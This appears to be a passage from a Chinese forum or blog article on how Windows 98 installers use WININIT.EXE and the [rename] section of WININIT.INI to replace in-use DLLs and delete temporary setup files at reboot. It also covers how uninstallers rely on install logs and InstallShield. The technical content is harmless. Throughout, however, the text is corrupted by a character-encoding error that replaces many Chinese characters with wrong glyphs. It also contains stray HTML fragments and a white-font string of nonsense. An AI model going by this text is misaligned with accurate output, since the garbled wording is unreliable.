你能看到q里Q说明你很有耐心Qƈ且对技术的探讨很有兴趣Q那么我再说得更详l些。在WIN98中,上面说的q个替换是由pȝ的一个工h实现的,q个工具叫WININIT.EXE。安装程序在到需要写入的DLL或其他程序文件正在用时Q会把要写入的DLL文g先定一个时的文g名,然后在WINDOWS目录中往WININIT.INI写入一个改写项Q比如,一个叫ABCD.DLL的动态连接库现在正在使用中,而安装程序要往pȝ中写入新版本的ABCD.DLLQ这时安装程序会把新版本ABCD.DLL先定一个时文件名Q例如AAAA.LLLQ然后在WININIT.INI中的[rename]一节中写入q一: P늯l|枓?
C:\windows\system\abcd.dll=C:\windows\system\aaaa.lll CX?B)
q样Q在重启Ӟq入WINDOWS囑Ş界面之前QWININIT.EXE在检到WINDOWS目录中有WININIT.INI存在Ӟ执行里面的操作Q在上面的例子中Q是用C:\windows\system\aaaa.lllL换掉C:\windows\system\abcd.dllq个文gQƈ且把WININIT.INI改名为WININIT.BAK?/p>
另外Q有些YӞ在安装时Q是把所有文件包括SETUP.EXE解压C时文仉面再执行SETUP.EXEq行安装的,按理来说安装完要把所有的临时文g删除掉,q个操作当然也是由安装程序SETUP.EXE来完成,但它自己正在q行Q也删不了它自己Q所以也要重启来删除Q做法和上面差不多,只是ҎcMq样子的Q?font color="#ffffff"> 怦S?vH?
NUL=C:\WINDOWS\TEMP\SETUP.EXE
在WIN2K和WINXP中,存在cM的机Ӟ不过q不是用WININIT.EXE和WININIT.INI来实玎ͼ具体的做法我也不是很清楚Q长期以来我大多数时候都是在用WIN98Q所以没认真研究q,但Y件安装过E要重启的现象在2K和XP上是仍然存在的,原理也是在重启时替换或修Ҏ在用的文gQ只是实现的方式不同?/p>
最后,我们再来看看有关卸蝲斚w的内宏V一般卸载有好几U方式:
1)早期的安装程序,一般会在安装过E记录了上面说的安装q程?234四个步骤中具体拷贝的文g和DLL以及注册表项Q把它保存在INSTALL.LOG之类的文件中Q再在Y件的安装目录(或WINDOWS目录?放一个UNINST.EXE之类的卸载程序。然后要么在E序l里个UNINST.EXEZ个快h式,要么在注册表中ؓq个UNINST.EXEZ个快h?q诛_泼姘宓奶砑由境l蚓湍芸吚w砑男对?Qƈ把INSTALL.LOG做ؓ它的参数Q这样就实现卸蝲了?/p>
2)现在比较多的安装E序是用新版的INSTALLSHIELD生成的,安装时的记录和卸载程序一般是会放在C:\Program Files\InstallShield Installation Informationq个文g?隐藏?**)里,同样也会在程序组和注册表中徏立卸载项?/p>
另外Q在卸蝲Ӟ也会遇到文g(一般是DLL文g)正在使用的情c所以有时卸载的时候也要重启,是要在重启q程中删掉这些正在用的DLL文g?/p>
关于软g的安装过E,大概想到这里,以后再有惛_什么的Q我再补充,大家有什么看不懂的也可以把问题提出来?/p>